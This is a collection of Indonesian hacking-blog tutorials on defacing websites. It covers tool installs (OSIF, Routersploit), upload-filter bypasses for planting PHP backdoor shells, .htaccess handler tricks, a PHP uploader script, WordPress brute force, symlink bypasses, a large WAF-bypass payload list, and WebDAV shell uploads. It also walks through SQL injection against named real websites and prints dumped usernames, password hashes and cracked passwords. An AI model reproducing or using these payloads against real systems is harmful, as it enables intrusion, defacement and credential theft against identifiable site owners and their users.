OSIF (Open Source Information Facebook) merupakan tool berfungsi untuk melihat data-data penting seperti email, nomor hp, dan ID facebook pada akun teman kalian


Bukan hanya itu saja , masih banyak fitur di dalam tools osif
Antara lain auto colek, auto reaction, auto konfirmasi pertemanan, hapus semua status, hapus semua foto, unfollow semua teman dll.

Penasaran? Yuk langsung ke tutorial install nya.

• Update dan upgrade termux dengan perintah

apt update && apt upgrade

• Karena tool ini menggunakan bahasa pemrograman python maka harus install python terlebih dahulu dengan command

apt install python2

• Kemudian install mechanize

pip2 install requests mechanize

• Install git dengan perintah

apt install git

• Clone tool OSIF nya dengan perintah

git clone https://github.com/CiKu370/OSIF.git

• Masuk ke directory osif

cd OSIF

• Install tool nya dengan perintah

pip2 install -r requirements.txt

• Dan sekarang tinggal menjalankan tool OSIF dengan command

python2 osif.py

• Login akun fb kalian dgn command

token

• Masukan perintah help untuk melihat semua fitur osif dgn command

help

Sekian dulu artikel tentang osif, jika bingung bisa kontak melalu kontak form atau lewat komentar di bawah, terima kasih semoga bermanfaat.

Biar lebih jelas lihat video di bawah ini

• Eksploitasi – modul yang mengambil keuntungan dari kerentanan
• Diidentifikasicreds – modul dirancang untuk menguji kepercayaan terhadap layanan jaringan
• Scanner – modul yang memeriksa apakah target rentan terhadap eksploitasi

Apa itu Routersploit??  Routersploit adalah tools linux yang bisa digunakan untuk exploitasi pada router guna mendapatkan password admin router tersebut tanpa melakukan bruteforce,

Tools ini berjalan pada OS linux tapi kali ini kita akan menjalankanya di android,
Untuk menjalankanya di android kita menggunakan aplikasi tambahan yaitu Termux

Yang belum tau apa itu termux bisa membacanya di artikel saya sebelumnya
Download Termux -  Linux on Android

Kalau semua sudah siap saatnya install Routersploit nya

Sebelum Install Routersploit kita harus menginstall beberapa paket pendukung agar tools ini bisa di gunakan, dan berikut beberapa paket yg harus di install

apt install git
apt install python2
pip2 install requests

Jika semua sudah terinstall sekarang waktunya cloning script dari github dan install Routersploit

git clone https://github.com/reverse-shell/routersploit.git

cd routersploit

pip install -r requirements.txt termux-fix-shebang rsf.py

Tunggu proses pemasangan nya sampai selesai

Untuk menjalankanya cukup dengan perintah sbb
cd routersploit
./rsf.py

Mudah kan., untuk cara membobolnya tunggu artikel selanjutnya di blog Idiot Attacker ini.
Sekian dan terima kasih
Happy hacking

Mungkin dari kalian sering menjumpai web target yang sudah mendapatkan admin akses nya tapi gagal upload backdoor, salah satunya karena web target menolak upload file yang berektensi .php , nah disini ada sedikit trik untuk Bypass nya.

Dengan Rename nama Backdoor.

1.Upload shell berekstensi shell.jpg.PhP
Ingat, bukan .php tapi .PhP . Kadang server bingung dan akan di accept sebagai file .jpg , tapi ketika di eksekusi tetap akan terbaca file php.

2.Upload shell berekstensi shell.php;.jpg
Biasanya sih , server akan mengabaikan ekstensi setelah tanda " ; " sehingga file akan tetap terbaca .php

3.Upload shell berekstensi shell.php.test
Biasa nya ekstensi .test akan diabaikan , sehingga akan tetap dibaca sebagai file .php
4.Upload shell berekstensi shell.php.xxxjpg
ekstensi tidak jelas semacam .xxxjpg biasanya akan diabaikan server, dan akan dibaca sebagai file .php

5.Upload shell dengan ekstensi shell.php5 / php3
Biasanya cara ini yang jadi jurus pamungkas jika keempat cara diatas gagal. Kebanyakan server tetap akan mengeksekusi nya sebagai file .php

Dengan .htaccess

Cara nya sangat simple Upload file .htaccess di bawah ini di web target,  setelah itu upload shell kalian dengan ektensi png, jpg atau txt, Nantinya file .txt , png, dan jpg akan di baca oleh web server menjadi file php

AddType application/x-httpd-php .Arpns1986x

AddType application/x-httpd-php .jpg

AddType application/x-httpd-php .png

AddType application/x-httpd-php .txt

Sampai disini dulu tutorialnya, tutorial selanjutnya menyusul, selengkapnya kalian praktekin sendiri, dan maaf jika ada kesalahan kata , Happy Hacking

Selamat pagi gan, pagi ini Idiot Attacker akan mengisi artikel di blog ini, biar tidak kelihatan sepi :D
kali ini Idiot Attacker akan membuat Artikel tentang Dunia peretasan lag, yaitu tentang Tutorial Deface dengan Wordpress Bruteforce [Perl].

Yup kali ini target CMS wordpress, yaitu dengan teknik Bruteforece

Apa Itu Bruteforce? Brute force ini adalah sebuah teknik serangan terhadap sebuah sistem keamanan  yang menggunakan percobaan terhadap semua kunci password yang memungkinkan atau istilah gampangnya mungkin menggunakan Random password/ password acak. Pendekatan ini pada awalnya merujuk pada sebuah program komputer yang mengandalkan kekuatan pemrosesan komputer dibandingkan kecerdasan manusia. Istilah brute force sendiri dipopulerkan oleh Kenneth Thompson, dengan mottonya: “When in doubt, use brute-force” (jika ragu, gunakan brute-force).

Baca juga :

• Tips Mengamankan website CMS wordpress Dari Hacker
• Kumpulan Script Perl Untuk Hacking

Lebih lengkapnya bisa cari-cari di google lagi :p
Langsung saja ya gan, Sebagai Alatnya kali ini kita menggunakan Script Perl. Nati bisa kalian Download Di bawah.

Tutorial

Pertama-tama kita cari username nya dulu dengan cara mencoba 1 per 1 username dengan password acak aja,
Kalo keteranganya ERROR: Invalid username. Lost your password? berati username salah,
Sebaliknya  kalo keternganya ERROR: The password you entered for the username Admin is incorrect. Lost your password? berati username Benar.
Kalo udah ketemu username nya kita lanjut ke step selanjutnya.

Buka Script Perl nya dengan Menggunakan CMD, Anggap saja kalian udah pada tau.
Formatnya: wp.pl site.com username wordlist.txt
contoh Lihat gambar.





Lalu enter., Jika Password Sudah Ketemu Maka akan tampak seperti gambar di bawah ini.



Udah ketemu deh, Tinggal login di site.com/wp-login.php
Mudah kan, Sekian ya kawan tutorialnya, :) Happy Hacking :)

Tag: teknik brurteforce, tutorial deface, wp bruteforce, bruteforce attack, perl script, deface bruteforce

Hallo gan, udah lama gak bikin artikel, kali ini saya juga gak panjang-panjang buat artikel nya, langsung ke video aja ya gan,

Video kali ini masih tentang Sql Injection manual.
Gak jauh beda dengan Artikel saya yang ini gan Tutorial Deface Dengan SQLI Manual.


Cuma ada sedikit berbedaan yaitu dengan bypass waf, bypass angka unik union select, dios,
Karena targetnya di filter WAF
Baca Juga : 

• Macam-macam kode Bypass WAF
• Tutorial SQLI dengan DIOS ( Dump in one shot )

Langsung saja

Berikut Videonya

Tag: tutorial deface, deface, tutorial hack website, sql injection manual, video sqli, deface step by step, bypass waf, dump in one shot, dios

Assalamualaikum, lama tak jumpa gan, udah beberapa bulan gak buat artikel disini., hehehe, maklum admin lagi sibuk kerja gan,

Oke kali ini idiot attacker akan membagikan file apk androhackbar.v.0.2.0.apk yaitu hackbar versi mobile, yang sebelumnya hackbar hanya ada di add ons mozilla sekarang sudah ada versi mobilenya loh :D sekarang udah bisa main inject-inject dari HP :D

Hackbar ini buatan ZyberPh Developers dari philipina -/\- sebelumnya thanks to ZyberPh Developers yang udah membuat aplikasi keren ini.

Apa itu hackbar? Hackbar adalah aplikasi untuk menguji system suatu website dari bugs sql injection, untuk selengkapnya bisa baca sendiri di google ya gan.

Berikut Screenshotnya:

Apa aja fiturnya? walaupun tidak selengkap hackbar modif di add ons mozilla tapi disini udah lumayan banyak lah,

Berikut fitur-fiturnya:

• Bypass WAF
• Dios
• Admin Panel scanner
• MD5 Hash, dll masih banyak lagi

Sekian gan. Wassalamualaikum wr wb
[arpns1986x/rs]




Tag: Download hackbar versi mobile, hackbar mobile version, andro hackbar, hackbar untuk android, hackbar

Apa itu teknik symlink? menurut bahasa saya sendiri symlink itu acces untuk melihat isi website yang 1 server., jadi kita bisa melihat config dll di website 1 server itu.,

Tapi gak semua server bisa di symlink, ini tergantung dari server nya juga., dan ada juga yang muncul symlink nya tapi setelah di klik symlink error? pernah mengalaminya kan?

Nah artikel kali ini akan membahas itu., Bypass Symlink Internal Server Error

Tanpa panjang lebar langsung saja ke tutorialnya aja ya.

• Pastikan udah punya web yang udah tertanam shell dan bisa di symlink
• Buat folder dengan nama terserah, disini saya membuat folder dengan nama /idiot-attacker/
• Buat .htaccess dengan kode berikut

Options Indexes FollowSymLinks
DirectoryIndex idiot.html
AddType txt .php
AddHandler txt .php 

• Selanjutnya di shell command masukan perintah berikut.

ln -s / idiot
Perintah ini untuk membuat symbolic link dari folder root ( / ) , ke folder idiot .

• Selanjutnya coba buka folder " site.com/idiot-attacker/idiot/ " di browser,

• Lalu Masuk ke directory website 1 server lainya., 

perhatikan di menu shell nya. >  / home / username / public_html / 
Nah sudah mengerti kan kita harus masuk kemana? yaitu ke folder home.,

Nah seharusnya setelah kita masuk ke home nanti ada folder username website lainya., nah ini kok blank.? 
tenang, cara mengatasi yang blank atau error caranya cukup simpel., coba perhatikan lagi directory nya
 >  / home / username / public_html /  , nah username disini udah bisa kita lihat di menu symlink.,
tinggal masukan saja di addess " site.com/idiot-attacker/idiot/home/username/public_html/ " dan tarraaa., mudahkan :p


Sekian dulu tutorial newbie ini., mohon maaf kalau ada kesalahan kata atau penulisan :p
[Arpns1986x/rs]


Tag: Tutorial bypass symlink, cara bypass symlink error, bypass symlink Internal Server Error, bypass symlink error terbaru. tutorial deface dengan symlink

Oke udah lama nih gak buat artikel di blog ini., kali ini juga gak banyak ngetik wkwkw, langsung ke video aja ya, hehehe

Tutorial deface dengan adminer config reset admin

Saya jelasin sedikit aja., entar selebihnya lihat videonya ya, dasarnya ini kita cari config di symlink shell, terus kita reset user pass webnya melalui adminer.

Bahan-bahan

• Shell Disini
• Adminer.php Disini
• Uploader

 <?php
echo '<b>Idiot Attacker</b>';
echo '<b><br><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Sukses !!!</b><br><br>'; }
else { echo '<b>Jancok, Upload GAGAL !!!</b><br><br>'; }
}
?> 

• Web Shell Disana cari sendiri :p

Tutorial.

• Buka web yang udah kamu tanem shell
• Klik Idiot shell
• Klik use to generate php.ini
• Klik use to extract usernames
• Klik Lets start
• Kembali ke public_html, entar ada folder IDIOTSHELL - Klik
• Kalo ada config berati bisa di eksekusi, kalo gak ada gak usah diterusin
• Buka confignya
• Copy Server IP di atas menu shell tambahin /~username config
• Contoh username config idiot_wp , berati username nya idiot, lalu masukan ip/~username
• Contoh: 127.0.0.1/~idiot , entar klik sembarang, home, beranda dll pokok halaman depan webnya, nanti akan muncul domainya, biasanya kalo web joomla gak muncul, kamu pake google dorking aja.,
• kamu copy teks yang ada di web nya lalu cari dengan google dorking, selebihnya use your brain :)
• admin login wordpress : wp-admin , Joomla: administrator, lainya cari sendiri :p
• Upload adminer nya dan buka
• Masukan user, pass, nama db yang dari config tadi ke adminer, lalu login
• Setelah login ganti password adminnya, kalau passnya pake hash kamu ganti juga password mu dengan hash.,
• setelah itu login ke website target tadi dengan password hasil reset mu tadi
• dan selengkapnya lihat videonya aja ya hehehe

Tag: tutorial deface, deface, tutorial hack website, reset admin, adminer, config, deface step by step, php uploader

Oke gan kalau kemarin saya sudah membahas Tutorial deface dengan SQLI manual, Kali ini saya akan membagikan Tutorial SQLI dengan DIOS ( Dump In One Shot )

Kalau Di artikel kemarin kita habis union select kita mesti masukan group_concat dan seterusnya untuk mengetahui column, table, kali ini gak perlu repot-repot lagi, nanti bakal keluar semua column beserta table nya,
Yang Belum membaca tutorial kemarin baca dulu disini

Oke langsung saja
Seperti biasa anggap saja saya sudah mendapatkan target
http://www.yorkritetexas.org/commandery/info-Commandery-list.php?ID=47
Terus lanjut kita masukan kode Order by,
order by 1--+
order by 2--+
order by 3--+
Dan seterusnya. dan skip
saya udah menemukan error di order by 41--+ , berati jumlah column ada 40
Disini target saya error nya gak tampilan error mysql blablabla tapi blank data ada yg hilang di bagian sidebar.
Oke lanjut anggap saja udah mengerti di artikel kemarin hehe.
Lanjut masukan union Select

http://www.yorkritetexas.org/commandery/info-Commandery-list.php?ID=-47+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40--+

Dan lihat gambar di atas, di bagian sudah muncul angka nya, nah kalau di tutorial kemarin kita mesti harus memasukan group_concat dan lain-lain kali ini langsung masukan kode dios aja, Masukan kode di bawah ini di salah 1 angka yang muncul disitu,

 (select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat+(@x,0x3c62723e,table_name,0x203a3a20,column_name))))x) 

Disini saya memasukanya di angka 10, maka kodenya seperti berikut
http://www.yorkritetexas.org/commandery/info-Commandery-list.php ?ID=-47+union+select+1,2,3,4,5,6,7,8,9,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat+(@x,0x3c62723e,table_name,0x203a3a20,column_name))))x),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40--+


Nah Lihat gambar diatas semua column beserta table nya sudah muncul, Yang kiri itu column lalu yang kanan itu table nya,
Tinggal dump deh. Kan sudah tau column dan table nya,
http://www.yorkritetexas.org/commandery/info-Commandery-list.php ?ID=-47+union+select+1,2,3,4,5,6,7,8,9,group_concat(login,0x3a,passwd),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40+from+members--+


Nah Sudah muncul tuh datanya., Mudah kan, oke sekian dulu semoga bermanfaat


Tag: DIOS,  Dump In One Shot, tutorial Dump In One Shot, tutorial dios, tutorial sqli manual, Idiot Attacker

WAF (Web application firewall) pada umumnya adalah merupakah firewall yang berjalan pada layer aplikasi yang memonitor dan memodifikasi http request. Pada dasarnya WAFs melindungi dari berbagai macam Https attacks dan queries seperti SQLI dan XSS.

Karena firewall mampu mendeteksi HTTP Methods, SQL Queries dan script lain sebagai suatu input ke suatu website maka firewall bisa berfungsi pula untuk menyaring ( memfilter) request seperti selayaknya firewall.

Maka dari itu rata-rata web yang udah di pasang waf itu kebal sama SQL Injection yang basic atau sql injection dengan statement error ( ' ) atau ( /** )
Baca juga: Tutorial Deface SQLI Manual 
                 Tutorial Deface With SQLMAP and ACUNETIX

Nah kali ini Idiot Attacker akan membagikan sedikit kode bypass WAF, dan sebelumnya saya berterima kasih kepada Indonesian Injector dan Team Sec7or yang telah membagikan tutorialnya

ORDER BY

/**/ORDER/**/BY/**/
/*!order*/+/*!by*/
/*!ORDER BY*/
/*!50000ORDER BY*/
/*!50000ORDER*//**//*!50000BY*/
/*!12345ORDER*/+/*!BY*/

UNION SELECT

/*!50000%55nIoN*/ /*!50000%53eLeCt*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
+%2F**/+Union/*!select*/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
uNiOn aLl sElEcT
UNIunionON+SELselectECT
/**/union/*!50000select*//**/
0%a0union%a0select%09
%0Aunion%0Aselect%0A
%55nion/**/%53elect
uni/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
%0A%09UNION%0CSELECT%10NULL%
/*!union*//*--*//*!all*//*--*//*!select*/
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
+UnIoN/*&a=*/SeLeCT/*&a=*/
union+sel%0bect
+uni*on+sel*ect+
+#1q%0Aunion all#qa%0A#%0Aselect
union(select (1),(2),(3),(4),(5))
UNION(SELECT(column)FROM(table))
%23xyz%0AUnIOn%23xyz%0ASeLecT+
%23xyz%0A%55nIOn%23xyz%0A%53eLecT+
union(select(1),2,3)
union (select 1111,2222,3333)
uNioN (/*!/**/ SeleCT */ 11)
union (select 1111,2222,3333)
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/
%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/
+%23sexsexsex%0AUnIOn%23sexsexs ex%0ASeLecT+
+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
/*!f****U%0d%0aunion*/+/*!f****U%0d%0aSelEct*/
+%23blobblobblob%0aUnIOn%23blobblobblob%0aSeLe cT+
/*!blobblobblob%0d%0aunion*/+/*!blobblobblob%0d%0aSelEct*/
/union\sselect/g
/union\s+select/i
/*!UnIoN*/SeLeCT
+UnIoN/*&a=*/SeLeCT/*&a=*/
+uni>on+sel>ect+
+(UnIoN)+(SelECT)+
+(UnI)(oN)+(SeL)(EcT)
+’UnI”On’+'SeL”ECT’
+uni on+sel ect+
+/*!UnIoN*/+/*!SeLeCt*/+
/*!u%6eion*/ /*!se%6cect*/
uni%20union%20/*!select*/%20
union%23aa%0Aselect
/**/union/*!50000select*/
/^.*union.*$/ /^.*select.*$/
/*union*/union/*select*/select+
/*uni X on*/union/*sel X ect*/
+un/**/ion+sel/**/ect+
+UnIOn%0d%0aSeleCt%0d%0a
UNION/*&test=1*/SELECT/*&pwn=2*/
un?+un/**/ion+se/**/lect+
+UNunionION+SEselectLECT+
+uni%0bon+se%0blect+
%252f%252a*/union%252f%252a /select%252f%252a*/
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f**%2funion%2f**%2fselect%2f**%2f
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
/*!UnIoN*/SeLecT+

INFORMATION_SCHEMA.TABLES

/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()-- -
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like schEMA()-- -
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=database()-- -
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like database()-- -
/*!FrOm*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table
/*!FrOm*/+information_schema./**/columns+/*!12345Where*/+/*!%54able_name*/ like hex table


CONCAT

CoNcAt()
concat()
CON%08CAT()
CoNcAt()
%0AcOnCat()
/**//*!12345cOnCat*/
/*!50000cOnCat*/(/*!*/)
unhex(hex(concat(table_name)))
unhex(hex(/*!12345concat*/(table_name)))
unhex(hex(/*!50000concat*/(table_name)))


GROUP_CONCAT

/*!group_concat*/()
gRoUp_cOnCAt()
group_concat(/*!*/)
group_concat(/*!12345table_name*/)
group_concat(/*!50000table_name*/)
/*!group_concat*/(/*!12345table_name*/)
/*!group_concat*/(/*!50000table_name*/)
/*!12345group_concat*/(/*!12345table_name*/)
/*!50000group_concat*/(/*!50000table_name*/)
/*!GrOuP_ConCaT*/()
/*!12345GroUP_ConCat*/()
/*!50000gRouP_cOnCaT*/()
/*!50000Gr%6fuP_c%6fnCAT*/()
unhex(hex(group_concat(table_name)))
unhex(hex(/*!group_concat*/(/*!table_name*/)))
unhex(hex(/*!12345group_concat*/(table_name)))
unhex(hex(/*!12345group_concat*/(/*!table_name*/)))
unhex(hex(/*!12345group_concat*/(/*!12345table_name*/)))
unhex(hex(/*!50000group_concat*/(table_name)))
unhex(hex(/*!50000group_concat*/(/*!table_name*/)))
unhex(hex(/*!50000group_concat*/(/*!50000table_name*/)))
convert(group_concat(table_name)+using+ascii)
convert(group_concat(/*!table_name*/)+using+ascii)
convert(group_concat(/*!12345table_name*/)+using+ascii)
convert(group_concat(/*!50000table_name*/)+using+ascii)
CONVERT(group_concat(table_name)+USING+latin1)
CONVERT(group_concat(table_name)+USING+latin2)
CONVERT(group_concat(table_name)+USING+latin3)
CONVERT(group_concat(table_name)+USING+latin4)
CONVERT(group_concat(table_name)+USING+latin5)


Banyak kan hehe, sekian semoga bermanfaat




Tag:bypass waf, tutorial sqli, tutorial bypass waf, bypass, Web application firewall, bypass Web application firewall

SQLI atau Sqli injection adalah suatu teknik hacking yang di gunakan oleh penyerang/attacker untuk mendapatkan sebuah database dengan menyisipkan perintah - perintah SQL melalui url yang memanfaatkan bug yang disebabkan oleh kesalahan coding atau kurang pemfilteran variabel

Sebenarnya kemarin Idiot attacker juga sudah membuat tutorial dengan sqlmap (Tutorial deface with sqlmap and acunetix), ini intinya sama dengan sqlmap juga dengan 1 bug yang sama SQLI,

Bagaimana cara mengetahui web tersebut vuln sqli?

Untuk mengetahui web tersebut vuln sqli atau terkena celah sqli adalah dengan cara membuat error url tersebut, dengan menambahkan karakter (') pada id di akhir url, 
contoh: target.com/index.php?id=sql'
            target.com/index.php?id=1'

Langsung saja ke tutorialnya.

Tutorial

Pertama-tama kita cari target dengan dork, anggap saja kalian udah pada mengerti, ini saya kasih contoh dork, kalian kembangin lagi sendiri.

inurl:play_old.php?id=
inurl:games.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=

Dan saya sudah punya target www.mywaymedia.it/readMore.php?id=15

Selanjutnya kita coba test web tersebut vuln atau tidak dengan menambahkan karakter (') , maka jadinya seperti ini www.mywaymedia.it/readMore.php?id=15'
Dan ternyata error  

Notice: Use of undefined constant Errore - assumed 'Errore' in /var/www/www.mywaymedia.it/readMore.php on line 15 ErroreYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

Untuk error website berbeda-beda

• You have an error in your SQL syntax;
• Warning: mysql_fetch_array()
• Warning: mysql_num_rows()

www.mywaymedia.it/readMore.php?id=15+order+by+1--
www.mywaymedia.it/readMore.php?id=-15+union+select+1,2,3,4--
www.mywaymedia.it/readMore.php?id=-15+union+select+1,2,@@version,4--

Nah kita tau version database tersebut 5.1.73 berati bisa kita lanjut, karena version 4 agak rumit, tapi rata-rata version 5 keatas,

Selanjutnya @@version kita ganti dengan perintah group_concat(table_name) dan di akhir angka sebelum tanda -- tadi masukan perintah from+information_schema.tables+where+table_schema=database()
Maka perintahnya seperti berikut.
www.mywaymedia.it/readMore.php?id=-15+union+select+1,2,group_concat(table_name),4+from+information_schema.tables+where+table_schema=database()--
Maka nanti kita akan mendapatkan nama-nama table di database tersebut
Disini saya mendapatkan nama-nama table news,news_utf,tbl_users

Karena kita disini tujuanya deface berati kita mencari user dan password admin, berati kita cari table yang kemungkinan itu table admin, seperti admin dll,
disini saya mendapatkan table tbl_users 
Selanjutnya kita ganti group_concat(table_name) menjadi group_concat(column_name) dan from+information_schema.tables+where+table_schema= menjadi from+information_schema.columns+where+table_name= kemudian database() kita ganti dengan table tbl_users yang sudah kita rubah dengan decimal, mengubah decimal bisa mengunakan tools disini atau bisa langsung menggunakan hakbar.

kalau saya disini langsung menggunakan hakbar, caranya dengan cara klik SQL > MySQL > MySQL CHAR(), selanjutnya masukan nama table, maka akan jadi seperti berikut CHAR(116, 98, 108, 95, 117, 115, 101, 114, 115)
Maka perintahnya seperti berikut
www.mywaymedia.it/readMore.php?id=-15+union+select+1,2,group_concat(column_name),4+from+information_schema.columns+where+table_name=CHAR(116, 98, 108, 95, 117, 115, 101, 114, 115)--
Maka nanti kita akan mendapatkan nama-nama isi di table tbl_users,
Disini saya mendapatkan nama-nama table user_id,user_name,user_pass,user_lastaccess


Disini sudah terlihat nama table user_name dan user_pass berati langkah selajutnya melihat datanya

Ganti group_concat(column_name) menjadi group_concat(user_name,0x3a,user_pass) untuk 0x3a itu decimal dari tanda (:)
Dan ganti from+information_schema.columns+where+table_name=CHAR(116, 98, 108, 95, 117, 115, 101, 114, 115) menjadi from+tbl_users
Maka perintahnya seperti berikut
www.mywaymedia.it/readMore.php ?id=-15+union+select+1,2,group_concat(user_name,0x3a,user_pass),4+from+tbl_users--


Dan kita sudah mendapatkan username dan password site tersebut
publishing@vivacom.com:67e84f9ebb0d4a3f782d61edc9a91528
myway:a17e60c21d70e8d576e4d1dfce3ba1f8 

User: publishing@vivacom.com
Password:  67e84f9ebb0d4a3f782d61edc9a91528
dan
User: myway
Password:  a17e60c21d70e8d576e4d1dfce3ba1f8

Untuk password masih berbentuk hash MD5, bisa kalian hash disini,
Maka akan muncul password aslinya 

67e84f9ebb0d4a3f782d61edc9a91528 MD5 : 190773_v
a17e60c21d70e8d576e4d1dfce3ba1f8 MD5 : 12MMant

Maka hasilnya seperti berikut

User:  publishing@vivacom.com
Password: 190773_v
dan
User:  myway
Password:  12MMant

Selesai, selanjutnya mencari halaman login bisa baca Tutorial mencari halaman login admin website
Dan untuk upload shell bisa baca di tutorial deface with sqlmap and acunetix

Sekian.

Tag: cara sqli manual, tutorial sqli, tutorial sqli manual, tutorial hakbar, tutorial deface, sqli, apa itu sqli

Webfolder Shell upload vulnerability atau katanya yang sering disebut webdav, kurang tau juga sih, saya juga baru tau dari group zone show off, dan sebagian orang juga ada yang mengatakan beda, katanya webfolder adalah fitur dari windows server yaitu sebagian file sharing untuk akses website kita melalui PC user.

Oh iya, sebelumnya saya berterima kasih pada lokerilmu-it.com atas tutorialnya.

Langsung aja ke tutorialnya. 

• Gak perlu Dork, kita langsung saja menuju zone-h.org, cari hasil deface orang yg OS nya win 2003, 

• Selanjutnya kita Reverse IP site yang kita dapatkan di zone-h tadi Disini

• Setelah itu kita akan mendapatkan site lain yg 1 server, coba 1 per 1,

• Masuk ke my document, klik computer lalu klik kanan pilih add a network location,

• Lalu next - next - next

• Masukan target, pake http:// dan gak pake tanda / dibelakang, ingat GAK PAKE

• Lalu next - next dan finish

• Setelah Finish nanti akan terbuka folder seperti ini, ini directory website nya, tinggal copy kan shell kalian disitu atau langsung script deface kalian,

• Disini saya copy kan script deface langsung saja.

• Dan coba buka site nya dengan file kalian.

Yolooo.. Sukses kan,








Tag: tutorial deface, tutorial deface webfolder, Shell Upload Vulnerability, win 2003, idiot attacker